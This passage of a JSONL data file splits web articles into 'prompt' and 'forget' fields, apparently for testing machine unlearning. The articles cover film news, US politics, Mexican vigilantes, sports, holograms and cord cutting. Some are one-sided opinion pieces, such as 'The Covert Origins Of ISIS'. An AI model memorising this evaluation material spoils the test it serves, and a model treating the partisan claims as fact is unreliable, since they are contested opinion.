the money. There are two good reasons for this: First, two people will scare the owner to paying you correctly and 2nd; you can\u2019t trust your bandmates to not pinch a little cash from the top. I mean, seriously, your bandmates are sketchy dudes!!! What kinda trust worthy human plays in a touring band? The answer, none. Gear-"}
{"prompt": "Robin Williams To Return As Teddy Roosevelt In Night At The Museum 3 By Nick Venable Random Article Blend He portrayed Roosevelt in both of the previous Even though I really like a relatively subdued Williams for his roles in One Hour Photo and World\u2019s Greatest Dad, he kind of makes me uncomfortable in this role. It\u2019s like seeing a grandparent on pain medication for the first time. That\u2019s just me, I guess. Robin Williams is coming back in a big way here lately, with the CBS sitcom Louie, taking part in a strip club scene that begged for tissues.", "forget": "He was widely seen in a portrayal of another president, Dwight D. Eisenhower, in Lee Daniels\u2019 The Butler, and has a wide upcoming slate that includes the Phil Alden Robinson comedic drama The Angriest Man in Brooklyn, the Dito Montiel drama opposite with Bob Odenkirk, the ensemble comedy Merry Friggin\u2019 Christmas, and in Terry Jones\u2019 sci-fi comedy So Robin has enough going on that taking on the obvious role reprisal makes sense, even though his talents are barely utilized. It\u2019s only a matter of time before more actors start signing up, as production is set to begin in February. Below you\u2019ll see Williams\u2019 appearance a few weeks ago on David Letterman, where he\u2019s just as high-energy as he\u2019s always been. For some, that may not be a good thing. Perhaps because I wasn\u2019t that impressed with the franchise\u2019s second film, or perhaps due to bad eyesight, but I\u2019ve been completely clueless when it came to the upcoming Night at the Museum 3 from director Shawn Levy, with Ben Stiller reprising his increasingly more unbelievable role of security guard Larry Daley. Whatever. You make two movies that gross almost a billion dollars and I don\u2019t expect anything different. The first of the film\u2019s many historical character to come back will be Robin Williams, who is currently in negotiations to reprise his role of Teddy Roosevelt, according to THR He portrayed Roosevelt in both of the previous Night at the Museum films, serving as Larry\u2019s informational guidance counselor. The only thing that\u2019s known, I suppose, is that the setting will be moved to one of the many museums in London. Which means that there must be some kind of a touring exhibit or a similar event, if Roosevelt is going to have a part to play here, and what kind of a"}
{"prompt": "430 at cu-boulder a guest Apr 16th, 2010 1,385 Never a guest1,385Never Not a member of Pastebin yet? Sign Up , it unlocks many cool features! rawdownloadcloneembedreportprint text 3.00 KB TO: CU-Boulder Students FROM: Office of the Chancellor SENDER: Chancellor Philip P. DiStefano DATE: April 15, 2010 SUBJECT: The 420 gathering at CU-Boulder on April 20, 2010 Dear CU student: As another April 20 approaches, we again are faced with concerns from students, faculty, staff, parents, alumni, regents and community members about the 420 gathering on the CU-Boulder campus. As we said last year, we share these concerns. An unsponsored", "forget": "gathering of thousands in the heart of our campus for the sole purpose of engaging in what is still unlawful activity is not only contrary to what we stand for as a university, it is a public safety challenge of the first order. With this in mind, on April 20, 2010, please do not participate in unlawful activity that devalues the reputation of your university and degree. At the same time, encourage your fellow Buffs to act with pride and remember who they really are - part of a dynamic environment of teaching, research, learning, and service composed of outstanding faculty and proud students and alumni. Be advised that on April 20 the following safety parameters will be enforced: -Obey the instructions of public safety officials at all times in entering and leaving campus, and act with concern for those around you, discouraging dangerous behavior of any kind. -Parking limitations similar to those during CU home football games will be enforced. Parking on campus will be greatly limited, available only at meters or for those holding CU parking permits. Traffic barricades will be set up at Colorado Avenue and Folsom Street and on 18th Street to limit traffic in the heart of campus. Please observe all parking regulations within the City of Boulder. -While police will be present on the Norlin Quad to support crowd safety, individuals found using marijuana on their way to or from the 420 gathering, or in other locations on campus, face a citation from CUPD. Likewise, no alcohol will be permitted on the Norlin Quad or elsewhere on campus, and intoxicated persons could be taken into custody or escorted to an alcohol recovery center, or both. -CU students who violate the alcohol or drug provisions of the CU Code of Conduct in the ways described"}
{"prompt": "The Obama administration sent a clear message on Friday: if anyone is to blame for the US economy slowdown, it is Congress. US economy's jobs slowdown raises doubts about interest rate rise Read more Both Barack Obama and Labor Secretary Tom Perez pointed to congressional inaction on issues like the budget and transportation and infrastructure as reasons why the US economy was not growing at a faster pace. Their statements were part of a reaction to the worse-than-expected jobs report released on Friday morning. The report showed that the US economy added fewer jobs in September than expected, casting doubts", "forget": "over whether the Federal Reserve would raise interest rates before the year\u2019s end. The US economy has seen \u201c67 straight months of job creation, 13.2 million new jobs in all and an unemployment rate that has fallen from a high of 10% down to 5.1%\u201d, Obama said. David Simas (@Simas44) 800k lost jobs in January of 2009. 2.6 million lost in 2008. Now, 13.2 million jobs created over 67 straight months. pic.twitter.com/bYN0uaDU6k \u201cThese long-term trends are obviously good news particularly for every American waking up each morning and heading to a new job,\u201d the president added. \u201cBut we would be doing even better if we didn\u2019t have to keep on dealing with the unnecessary crises in Congress every few months. \u201cThis is especially important right now because although the American economy has been chugging along at a steady pace, much of the global economy has softened.\u201d Obama said part of the reason the US job growth has slowed is because there is a global slowdown, which has affected US exports and made the US economy skittish. As such, the US does not need another manufactured crisis such as attempting to avoid a government shutdown in December. \u201cI will not sign another short-sighted spending bill like the one Congress sent me this week. We purchased ourselves 10 additional weeks, we need to use them effectively,\u201d Obama said, referring to the short-term extension passed by Congress. \u201cCongress has to do its job. We can\u2019t flirt with another shutdown. It should pass a serious budget.\u201d John Boehner, the outgoing speaker of the House, also believes the US economy can do better. However, he blamed the slowed economic growth on the White House. \u201cToo many middle-class families are still struggling in this economy, and we can do a lot better,\u201d Boehner said. \u201cThere is"}
{"prompt": "It\u2019s easy to imprint hard on the covers of the books you read as a child. And correspondingly, it\u2019s easy to resent the covers of new editions, no matter how high-quality they may be, simply for being new. For example, Scholastic\u2019s new Harry Potter covers are gorgeous, but they are not the ones I grew up on, and hence they are incorrect. But the most recent cover of Judy Blume\u2019s Are You There, God? It\u2019s Me, Margaret, a 2014 edition, is enough to make even the most partisan of \u201980s cover apologists consider buying a new copy. I've never seen", "forget": "an update to a book's cover executed so perfectly:https://t.co/WD7dtBELpF pic.twitter.com/hh3zAJnmfW \u2014 Ryan North (@ryanqnorth) May 8, 2017 It\u2019s a smart, graceful update to the book\u2019s teenage voice, one that preserves Margaret\u2019s search for meaning and identity \u2014 through God, through friends, through boobs and periods \u2014 while bringing her neatly into today\u2019s universe of smartphones and texting. The Margaret cover is part of an entire line of Judy Blume covers at Simon & Schuster\u2019s Atheneum Books for Young Readers, which prioritize encapsulating Blume\u2019s deathless topics (parental divorce, sex, bullying), while taking them out of the pastel-hued photorealistic covers of the \u201970s, \u201980s, and \u201990s and into the color-saturated, boldly graphic world of today\u2019s teen trends. To find out just how the transformation worked, I spoke to Debbie Ohi, who illustrated the Margaret cover along with three others in the new line, as well as editor Justin Chanda and art director and cover designer Lauren Rille. Our conversation covered the immortal legacy of Judy Blume, changing trends in kid-lit covers, and how the idea of a texting Margaret came to life. This interview has been lightly edited for length and clarity. Constance Grady What\u2019s your relationship with Judy Blume? Did you grow up with her books, or were they new to you? Debbie Ohi I\u2019ve been a Judy Blume fangirl as long as I can remember. Her books were a reassurance to my younger, angsty self that I wasn\u2019t alone in having all these bizarre thoughts. I was way too insecure and introverted to talk frankly about some of these taboo topics (at least they were taboo back then) with anyone I knew. Books like Are You There God? It\u2019s Me, Margaret comforted me and helped me not feel so much like a freak. Working on the reissued middle grade and"}
{"prompt": "Members of the citizens' Self-Protection Police take a rest in Nueva Italia community in Michoacan State, Mexico, on Jan. 12, 2014 [AFP] Mexico\u2019s government urged vigilantes on Monday to quit their growing armed struggle against a drug cartel and go home, saying federal forces will handle security in their embattled western towns. Interior Minister Miguel Angel Osorio Chong made his plea after the \u201cself-defense\u201d forces seized another town in the troubled western state of Michoacan, gaining ground in their struggle against the Knights Templar gang. But a vigilante leader, Estanislao Beltran, told AFP that the civilian militiamen were not ready", "forget": "to drop their weapons in their year-long battle in a lime and avocado growing region known as Tierra Caliente, or Hot Country. \u201cWe can\u2019t abandon our weapons because the moment that we do, organized crime will come after us and our families,\u201d Beltran said from Nueva Italia, the latest town to be seized on Sunday. Admitting that Michoacan faced a security \u201ccrisis,\u201d Osorio Chong signed a new security pact with Governor Fausto Vallejo for federal forces to take over the responsibilities of state and local police. \u201cThe self-defense groups are asked to return to their places of origin and resume their normal activities,\u201d Osorio Chong said after the emergency security talks in the state capital, Morelia. But he did not say how many forces would be used for the new effort, which comes eight months after President Enrique Pena Nieto deployed thousands of troops and federal police to Michoacan in an mission that has failed to contain the unrest. The turmoil in Michoacan has become the biggest security crisis of Pena Nieto\u2019s 13-month-old administation. He inherited a drug war that has claimed more than 77,000 lives in the past seven years. The vigilantes formed almost a year ago, arguing that local police were unwilling or unable to curb the cartel\u2019s violence and extortion rackets. Ignoring repeated government warnings that their expansion would not be tolerated, the civilian militias seized Nueva Italia, which was considered a Templar bastion. The vigilantes say they have now surrounded the gang\u2019s presumed headquarters, the city of Apatzingan, which they have made their next target. Apatzingan was a ghost town on Monday, with stores closed in the city of 123,000 people which is a vital trade hub for the region\u2019s lime, avocado and mango exports. The Templars and some officials have accused the self-defense forces of"}
{"prompt": "The Covert Origins Of ISIS Above: A file image uploaded on June 14, 2014 on the jihadist website Welayat Salahuddin allegedly shows militants of the Islamic State of Iraq and the Levant (ISIL) executing dozens of captured Iraqi security forces members at an unknown location in the Salaheddin province (AFP Photo / HO) Evidence exposing who put ISIS in power, and how it was done. The Islamic militant group ISIS, formerly known as Al-Qaeda in Iraq, and recently rebranded as the so called Islamic State, is the stuff of nightmares. They are ruthless, fanatical, killers, on a mission, and that", "forget": "mission is to wipe out anyone and everyone, from any religion or belief system and to impose Shari\u2019ah law. The mass executions, beheadings and even crucifixions that they are committing as they work towards this goal are flaunted like badges of pride, video taped and uploaded for the whole world to see. This is the new face of evil. Would it interest you to know who helped these psychopaths rise to power? Would it interest you to know who armed them, funded them and trained them? Would it interest you to know why? This story makes more sense if we start in the middle, so we\u2019ll begin with the overthrow of Muammar Gaddafi in 2011. The Libyan revolution was Obama\u2019s first major foreign intervention. It was portrayed as an extension of the Arab Spring, and NATO involvement was framed in humanitarian terms. The fact that the CIA was actively working to help the Libyan rebels topple Gaddafi was no secret, nor were the airstrikes that Obama ordered against the Libyan government.However, little was said about the identity or the ideological leanings of these Libyan rebels. Not surprising, considering the fact that the leader of the Libyan rebels later admitted that his fighters included Al-Qaeda linked jihadists who fought against allied troops in Iraq. These jihadist militants from Iraq were part of what national security analysts commonly referred to as Al-Qaeda in Iraq. Remember Al-Qaeda in Iraq was ISIS before it was rebranded. With the assistance of U.S. and NATO intelligence and air support, the Libyan rebels captured Gaddafi and summarily executed him in the street, all the while enthusiastically chanting \u201cAllah Akbar\u201d. For many of those who had bought the official line about how these rebels were freedom fighters aiming to establish a liberal democracy in Libya, this was the"}
{"prompt": "As television network and cable reporting on the collapsing economy diminished last week, John McCain gained an inch or two on Barack Obama. Three cable news shows I watched on MSNBC on Friday \u2013 Hardball, Countdown, and Rachel Maddow \u2013 devoted substantial coverage to the dirty tricks and voter suppression efforts of McCain\u2019s campaign. The reporting is critically important. But, in the end, it probably helped McCain simply by dropping the economy as THE STORY. FOXnews, of course, last week devoted a good deal of its daily reporting to ACORN. \"Anything But the Economy\" should be the phony news outlet\u2019s", "forget": "new motto. You want to know the McCain message strategy? Watch FOX. They execute campaign orders with the scary discipline of practiced propagandists. But even smart, open-minded or progressive media have difficulty focusing on more than one thing at one time. They want THE STORY. And post-debate last week, THE STORY was, in some order or other, McCain campaign dirty tricks (racist robocalls), Republican efforts to keep American citizens from voting, McCain\u2019s poor debate performance, electoral college predictions, etc. The stock market was up slightly by the end of the week, and the outrages of the McCain campaign stole the shows. They were enough to make it less than THE STORY. And that\u2019s helped McCain, if only by a small amount. Which means there\u2019s no incentive for the McCain camp to reign in their extremist messaging. This presents the Obama campaign with a dilemma. Take the focus off the economy, and McCain will gain. Leave the anti-democratic and racist tactics of the McCain campaign unaddressed, and McCain will gain. This time, though, the Obama campaign has something no Democratic campaign has had in recent presidential cycles: a late lead with a cushion. Its state-by-state advantage in the contest for electoral votes means it can concede a brief, short-term advantage to McCain by doing some things that diminish the reporting of economic news. Very, very important things. Like demanding that a special prosecutor investigate the Department of Justice\u2019s raw, illegal and undemocratic investigation-by-press-leak of ACORN. I\u2019m going to take advantage of the cushion to make a simple point about the authoritarian and democracy-threatening voter suppression efforts of the Right. I\u2019m aware that when McCain made his preposterous \"destroying the fabric of democracy\" claim against ACORN in last week\u2019s debate, he knew what he was doing. He was distracting voters from the"}
{"prompt": "A leading congressional advocate for pulling the plug on the Export-Import Bank today said he \u201cregrets\u201d that a nine-month reauthorization of the federal agency is part of a Republican-sponsored measure to keep the government running. \u201cI do not believe that Ex-Im should be part of the CR [continuing resolution]. I regret that the Republican conference is putting it there,\u201d House Financial Services Chairman Jeb Hensarling, R-Texas, said in response to a question from The Daily Signal. The charter of the Export-Import Bank is slated to expire Sept. 30, but a continuing resolution being considered in the House would extend the", "forget": "life of the bank until June 30 next year. \u201cI am not enamored with this particular continuing resolution,\u201d Hensarling said after a speech at Hillsdale College\u2019s Kirby Center in Washington. He added: If I had my druthers, this would not be what would be before me, but I learned very early on in my congressional career that I don\u2019t get to vote on what I want to vote on. I have to vote on what\u2019s in front of me. The continuing resolution including the short-term extension for the 80-year-old federal agency was introduced yesterday by House Appropriations Chairman Hal Rogers, R-Ky. >>> The Government Program Republicans Keep Extending: 5 Export-Import Bank Myths, Debunked \u201cI do not believe that Ex-Im should be part of the [continuing resolution]. I regret that the Republican conference is putting it there,\u201d says @RepHensarling. The resolution has yet to be brought to the House floor, and a vote on the resolution expected tomorrow has been postponed. The Export-Import Bank provides taxpayer-backed loans and loan guarantees to foreign countries and companies to purchase U.S. products. Hensarling is leading the fight in the House against reauthorizing the bank, which he has called a poster child for cronyism and corporate welfare. But today the Texas Republican said he views the short-term reauthorization as a chance to \u201cdecouple\u201d Ex-Im\u2019s expiration date from legislation to fund the government. \u201cI believe the fate of the Export-Import Bank \u2014 it should stand or fall on its own,\u201d he said. Hensarling originally said he would prefer Congress not act on legislation regarding the agency\u2019s future, and simply allow the charter to expire Sept. 30. His strategy was said to have the blessings of House Speaker John Boehner and other Republican leaders. However, with so many lawmakers hoping to avoid controversy before this fall\u2019s midterm"}
{"prompt": "Researchers at North Carolina State University have developed techniques that can be used to create ideal geometric phase holograms for any kind of optical pattern -- a significant advance over the limitations of previous techniques. The holograms can be used to create new types of displays, imaging systems, telecommunications technology and astronomical instruments. A geometric phase hologram is a thin film that manipulates light. Light moves as a wave, with peaks and troughs. When the light passes through a geometric phase hologram, the relationship between those peaks and troughs is changed. By controlling those changes, the hologram can focus, disperse,", "forget": "reorient or otherwise modify the light. An ideal geometric phase hologram modifies the light very efficiently, meaning that little of the light is wasted. But ideal geometric phase holograms can also produce three different, well-defined \"wavefronts\" -- or transformed versions of the light that passes through the thin film. \"We can direct light into any one or more of those three wavefronts, which allows us to use a single ideal geometric phase hologram in many different ways,\" says Michael Escuti, a professor of electrical and computer engineering at NC State and corresponding author of a paper on the work. Previously, researchers were only able to make ideal geometric phase holograms in a limited set of simple patterns, curtailing their usefulness for new applications. This is because making these holograms involves orienting molecules or structures at a scale smaller than the wavelength of light. \"We've come up with two ways of making ideal geometric phase holograms that are relatively simple but allow us to control the orientation of the molecules that ultimately manipulate the light,\" Escuti says. First, the researchers use lasers to create a high-fidelity light pattern, either by taking advantage of how waves of light interfere with each other, or by using a tightly focused laser to scan through a pattern -- much like a laser printer. A photoreactive substrate records the light pattern, with each molecule in the substrate orienting itself depending on the polarization of the light it was exposed to. To understand this, think of a beam of light as a wavy string, traveling from left to right. That string is also vibrating up and down -- creating wiggles are that are perpendicular to the direction the string is traveling. Controlling the orientation angle of the light's linear polarization just means controlling the direction that the"}
{"prompt": "This story is about Published Feb. 2016 Bob Sturm's NFL draft profile series: Jalen Ramsey could come in and be the best player in the Cowboys secondary Share This Story On... Twitter Facebook Email AP file photo/Bob Leverone In this Saturday, Dec. 7, 2013, file photo, Duke's Braxton Deaver (89) is hit by Florida State's Jalen Ramsey (13) in the first half of the Atlantic Coast Conference Championship NCAA football game in Charlotte, N.C. By Bob Sturm , Special contributor Contact Bob Sturm on Twitter: @SportsSturm I have never been a scout or a NFL General Manager, but I am", "forget": "willing to watch a ton of football. By watching about 200 snaps of each prospect, we can really get a feel for a player and then know what we are talking about a bit better. It is no exact science, but the NFL hasn't quite figured out drafting either, so we are going to do the best we can.To read more about the 2016 NFL Draft Project, click here. Jalen Ramsey, CB/S, Florida State - 6'1, 202 - Junior - #8 Anyone who analyzes the draft has certain things that they look for and credit or debit accordingly based on characteristics we seek. I confess that my personal biases for defensive backs often revolve around how much they appear to enjoy or avoid tackling. I realize that I might not have realized how great Deion Sanders was because he seemed allergic to contact at times, but overall this has served me well. Guys do fall through the cracks, however - like last year, Marcus Peters was that guy who had no use for run support. And then he won defensive rookie of the year. I guess you don't need to tackle running backs to be a heck of a player. This shows us that if there are 10-12 components of a player's make-up that we value, we should not overvalue the effect of one. We should look at the full composite of the player and project accordingly. But, what if we stumble upon a player that appears to have no component of concern? What if Jalen Ramsey from Florida State appears to be the most complete defensive back that the last decade can offer? Because from where I sit today, I am not sure who I would value higher. He seems to be able to play free safety, strong safety,"}
{"prompt": "80% Cut the Cord Because Cable TV is Simply Too Expensive A new report by TiVO (pdf) on cord cutting indicates that nearly half of current pay TV subscribers are considering cutting the cord this year, and nearly 80% of those considering the shift will do so because their current pay TV service is simply too expensive. The survey of more than 3,000 consumers found that only 51.1% of those polled were seriously considering sticking with their traditional pay TV provider, an ominous sign for an industry that's expecting the second quarter to potentially see the highest volume of cord", "forget": "cutting on record. \"37.1% of respondents spent at least $101 per month -- with some spending more than $150 per month -- on pay-TV services alone,\" notes the report, which indicates that this is a percentage of users that increased 2.3% quarter over quarter. With a growing number of streaming alternatives emerging, and companies like Charter now blindly imposing rate hikes in utter tone-deafness to what should be obvious industry trends, there's every indication this pattern (both cable TV price hikes, and the subsequent defections by frustrated consumers) will only accelerate. After price, the survey found that use of streaming alternatives (57.6%) and use of over the air antennas (32.5%) were the most common reasons given by users that cut the cord. Broken down further, the study found that among those \"unsatisfied\" with their current cable TV provider, 81.4% say they're mostly annoyed because of high prices. Though 32.9% say they're frustrated by \"poor customer service,\" and 29.9% say they're bothered by the quality of the pay TV service they receive from their telco, cable, or satellite TV provider. \"When the increase in monthly bills is coupled with the fact that 81.4% of unsatisfied respondents selected \u201cToo expensive/increase fees for cable/satellite service,\u201d it becomes evident that something must be done about this group,\" notes the survey. \"With more options than ever for TV in 2017, consumers continue to get smarter about their TV options, and many have discovered ways to access TV for far less than $100 a month. Skinny buddle offerings have increased, too, and options include Dish Networks\u2019 SlingTV, DIRECTV NOW and Sony\u2019s PlayStation Vue.\" There's more detail on Tivo's latest study over at the company's There's more detail on Tivo's latest study over at the company's blog . The full report itself can be found here (pdf)."}
{"prompt": "For Charlie Manuel, for Don Mattingly, for Jim Leyland, the end may not necessarily be near. But the end of their contracts? Now that is definitely near. Those three household names find themselves part of an odd phenomenon that is rocking baseball this season, pretty much out of nowhere: Managers in the last year of their contracts. Amazingly, 10 of the 30 managers in the big leagues don't have a deal that extends beyond this season. And no one we've surveyed can recall anything like it. Ready for the roll call? Here we go: Charlie Manuel (Phillies) Don Mattingly (Dodgers)", "forget": "Jim Leyland (Tigers) Joe Girardi (Yankees) Terry Collins (Mets) Davey Johnson (Nationals) Ned Yost (Royals) Eric Wedge (Mariners) Walt Weiss (Rockies) Ron Gardenhire (Twins). In 2013? They're all totally in charge. In 2014? Uh, we'll get back to you. \u201c Every contract I've had, I've worked all the way to the end, until the contract expired. I was never uncomfortable with that. So if I'm hiring people who are uncomfortable with that, I'm hiring the wrong people. \u201d -- Yankees GM Brian Cashman Judging by all the front-office folks whose response to this was \"I didn't even realize that,\" it's safe to say this is more of a coincidence than some gigantic management conspiracy. But it does reflect a change in what once passed for conventional thinking: We can't hang our manager out there on the last year of his deal. The players will walk all over him. That may have been the theory once upon a time. But nowadays, says Yankees general manager Brian Cashman, \"I think it's something from out of the past that doesn't exist in the present anymore. It's one of those old things that was widely accepted -- and then a lot of smart people said, 'Why?'\" The Yankees have been asking, \"Why?\" for years, actually. For a decade, it's been their policy, for the most part, not to extend anyone's contract -- manager or player -- until it expired and they had to make a decision. Somehow or other, they've managed to function just fine. Imagine that. \"Derek Jeter played to the end of his contract and went to free agency,\" Cashman said. \"Mariano Rivera played to the end of his contract and went to free agency. The general manager worked to the end of his contract. Every contract I've had, I've worked all"}
{"prompt": "Toys that we really can\u2019t describe! Bowlingual Voice A Tomy employee poses with the Bowlingual Voice, a gadget that expresses dogs\u2019 emotions, at the annual Tokyo Toy Show 2009. Tomy claims the gadget analyses a dog\u2019s voice through a wireless microphone attached to its collar and then displays its emotions. Maui Flowers Dog Bikini Make a summertime splash with the Maui Flowers Dog Bikini. Your dog will not be able to resist this cute Spandex bathing suit. Canine Maui Flowers Bikini is two-piece for easy movement with a comfy and practical fit. Dog Spinny Interactive Toy By Nina Ottosson \u2018Dog", "forget": "Spinny\u2019, has a single removable bone that has to be dislodged by the dog, who can then rotate the top section to access treats in the compartments below. By gradually reducing the number of treats, you can encourage him to work harder. Nina Ottosson\u2019s range of durable interactive games have been designed to stimulate a dog\u2019s brain whilst reinforcing his relationship with people. Each design has a unique mechanism that requires mental as well as physical dexterity to work through the challenges and reveal hidden food rewards. They can be set to differing levels of complexity, to satisfy all ages and breeds of dog. Zig A Zag Ball The Zig A Zag Ball is a motorised ball that gives hours of crazy fun! Using 1 AA battery which is supplied with the toy you can turn the ball on and watch your dog play for hours with the unpredictable movements the ball makes. The toy is made from non toxic material and measures approx 9cm in diameter. Dog Tornado Interactive Toy By Nina Ottosson The idea behind the \u2018Dog Tornado\u2019 is for the dog to dislodge the removeable bones, then turn the revolving sections to reveal hidden treats. The Tornado has many variables to increase the level of difficulty as the dog\u2019s skill improves. With a little practise, he will soon learn to dislodge the bones and turn the Tornado to access the rewards. Nina Ottosson\u2019s range of durable interactive games have been designed to stimulate a dog\u2019s brain whilst reinforcing his relationship with people. Each design has a unique mechanism that requires mental as well as physical dexterity to work through the challenges and reveal hidden food rewards. They can be set to differing levels of complexity, to satisfy all ages and breeds of dog. Hotdoll, Love Doll for"}
{"prompt": "The graphic disparity between Watch Dogs' reveal trailer and yesterday's story trailer have been an extremely hot topic. Online communities are filled with discussions about the game's graphics being \u201cdowngraded\u201d and we're seeing reports of Ubisoft's PR working to handle the immense backlash. One such Ubisoft PR person is Tessa Vilyn, Ubisoft Benelux PR and events manager. Due to her comments supporting the game's visuals, she has become a target for questions from the distraught community looking for answers. Her initial tweet about the matter is as follows, \u201cBit bummed about some people not liking the graphics of the #Watchdogs", "forget": "trailer! I saw the game guys and it looks INCREDIBLE! #promise\u201d When faced with a tweet asking her if the graphics have been toned down since the E3 reveal, she responded by saying that such a thing is \u201cimpossible\u201d. \u201cit is impossible, of couse [sic] it is not downgraded at all. :),\u201d she wrote. \u201ci love graphics, its because i know they look good i'm bummed they think differently about it.[...] its a true next gen game for sure... for sure.. \u201c Tessa states that she's played the latest demo of the game and that reactions are too harsh and lack the hands-on experience that she had had with the game. \u201cBelieve me the game is not downgraded, that would just be a bit ridiculous. :) \u2026 Again this is my opinion based on what i saw when playing the latest demo.\u201d One such comparison that's making the rounds is the one that I have embedded below. It shows footage of a car chase from Watch Dogs footage in 2012 and footage from the latest trailer. The lighting effects shown are not very comparable. In a Eurogamer interview with Watch Dogs' creative director, Jonathan Morin, posted yesterday, Morin stated that despite the game's delay to improve functionality of gameplay mechanics, the game will not look like the game's reveal trailer. \"Are we delivering the 'movie [style vision] of every single person on Earth who saw that [The Games Reveal Trailer]? Probably not, that's not possible. But are we delivering on this fantasy of being a hacker, controlling everything and approaching things in different ways \u2013 yes,\u201d said Morin. Last year, Morin told VideoGamer that there would be no visual downgrade from the game's reveal to retail state. \"There's no scale down in quality, especially the next-gen versions,\" Morin told VideoGmer"}
{"prompt": "national Congress Vice President Rahul Gandhi addressed a workers' meet at Malad on Friday; turns out, some who attended, came only for the goodies Congress Vice-President Rahul Gandhi began his speech with 'Til gul ghya, god, god bola,' (Have tilgul, talk sweetly) the traditional greeting on Makar Sankrant, at Malad on Friday. While his speech saw a huge crowd, it seems some had gathered because they had allegedly been sweet-talked into attending and given promises of what they would get if they did. mid-day spoke to a number of people at the event. While some said that they were promised", "forget": "R100, one said that she was given biryani before the event. Some residents of Kandivli\u2019s Damu Nagar who had lost their homes to the fire said that corporator Ajanta Yadav had promised them houses. Congress Vice President Rahul Gandhi arrives to address a workers\u2019 meet at Malad yesterday. The Congress leader arrived more or less on time, but had to wait while other leaders gave their speeches Also Read: Rahul Gandhi's Mumbai padyatra over power tariff hike evokes good response Makar Sankrant was unusually busy for Malad this year as the Congress had organised a karyakarta melava (workers\u2019 meet), to be addressed by Gandhi at the St Joseph\u2019s School ground. A moderately sized school ground, it had the stage at its far end and a shamiana for the audience. All routes to the ground were decorated with Congress posters and banners. The police, as well as traffic police, were having a busy time controlling the situation as people thronged the gates in large groups. Inside the shamiana, people were given vada-pav and packaged water since they had been waiting for hours. The crowds largely consisted of people from the Malad, Kandivli, Charkop areas, including Malwani, Congress MLA Aslam Shaikh\u2019s stronghold. Sanjay Nirupam, Kripashankar Singh, Priya Dutt were also present for the meeting. Also Read: Rahul Gandhi blasts RSS, BJP's 'rigid thinking' Gandhi sat next to the AICC secretary, Sanjay Nirupam. Nirupam passed him a chit with \u201cTil gul ghya, god, god bola,\u201d (Have tilgul, speak sweetly) the traditional Marathi greeting on Makar Sankrant, written on it. Gandhi used it in the beginning of his speech, to the delight of the crowds. He said, \u201cI am going to take this phrase back with me to Delhi. And whenever Congressmen fight amongst themselves, I will say this to them.\u201d Pics/Sayyed Sameer Abedi"}
{"prompt": "The New York Times and Gaza: Justifying genocide 31 December 2008 On the fourth day of the Israeli aerial blitz against the population of Gaza, the New York Times, the mouthpiece of US establishment liberalism, weighed in on the subject for the first time on its editorial pages. In a lead editorial, the Times made its position clear in short order. \"Israel must defend itself,\" it began. \"And Hamas must bear responsibility for ending a six-month cease-fire this month with a barrage of rocket attacks into Israeli territory.\" There is little to distinguish the \"newspaper of record's\" version of events", "forget": "from the mendacious account being peddled by the American media in general: the Palestinians are the aggressors and Israel the victim. Never mind the grim and unequal equation of the conflict: roughly 100 Palestinians killed for every Israeli. The Times' potted explanation of the war, presented as though it were common knowledge and irrefutable fact, conveniently ignores that it was the Israeli military which broke the cease-fire with a provocative cross-border raid into the Gaza Strip in which six members of the Hamas security force were killed. The date of the raid was November 4, not by coincidence Election Day in America. The timing is an indication that the attack was a politically calculated provocation by the Israeli regime, which it held in abeyance until after the electoral contest in the US, its indispensable patron, had been concluded. Press reports in Israel indicate that the attack on Gaza had been actively prepared for six months, with the Zionist regime agreeing to the cease-fire only to give its military the time it needed. One of the principal aims of the operation was to reestablish the credibility of Israel's military after the humiliating defeat it suffered in Lebanon two-and-a-half years ago and to thereby intimidate all others in the region. The present military operation has been launched by Israel not as an act of self-defense but in pursuit of definite geopolitical aims and in response to its own internal political and social contradictions. The Times editorial engages in a bit of hand-wringing over whether the slaughter in Gaza is good for Israel\u2014not a word of sympathy for the dead and maimed Palestinian men, women and children\u2014and issues a hypocritical appeal for the Israeli regime to \"limit civilian casualties.\" Passed over in silence is the brutal Israeli blockade which has left Gaza's population"}
{"prompt": "L. Randall Wray is a Professor of Economics at the University of Missouri-Kansas City and Senior Scholar at the Levy Economics Institute of Bard College, NY. More \u203a ARE MORE JOBS THE ANSWER? The \u201cBIG\u201d Bait and Switch Last week Allan Sheahen published a piece arguing that \u201cJobs Are Not the Answer\u201d to America\u2019s unemployment problem. Here\u2019s his reasoning: \u201cThe current unemployment rate of 7.5% percent means close to 20 million Americans remain unemployed or underemployed. Nobody states the obvious truth: that the marketplace has changed and there will never again be enough jobs for everyone who wants one \u2014", "forget": "no matter who is in the White House or in Congress. Fifty years ago, economists predicted that automation and technology would displace thousands of workers a year. Now we even have robots doing human work. Job losses will only get worse as the 21st century progresses.\u201d In fact, economists have recognized this possibility since at least the early 19th century, when David Ricardo posed it as \u201cthe machine problem\u201d. \u201cRobots\u201d have been doing \u201chuman work\u201d since the time of Adam Smith\u2019s pin factory. Or, indeed, since the first proto-human discovered the fulcrum and lever so that one could do the work of four. However, \u201cunemployment\u201d has existed only since the development of production for market. Our tribal ancestors \u201cworked\u201d about a dozen hours a week to provide the food, clothing, and shelter required for the standard of life they deemed acceptable. They occupied themselves the rest of the time with all the other human activities that we regard as \u201cculture\u201d: dancing, singing, tattooing, shaman-ing, piercing, ritualizing sacrifices, child rearing, storytelling, marrying, fighting, debating, drawing, and thinking. Neither were our peasant forbearers, who had access to the main means of production\u2014agricultural land\u2014unemployed. They might have worked much longer days, and they grudgingly turned over an ever-rising portion of their production to rapacious feudal lords, but they were not unemployed. It is only once they lost access to land through enclosures, etc, that their livelihood depended on the whims of the employing class. Why didn\u2019t the inexorable trend to greater use of \u201crobots\u201d from the time of Smith forward lead to the dis-employment of all (or most all) human labor? First we raised living standards (arguably, of course, since it is not altogether clear that we live better than our tribal cousins in all important respects), always finding other ways to employ"}
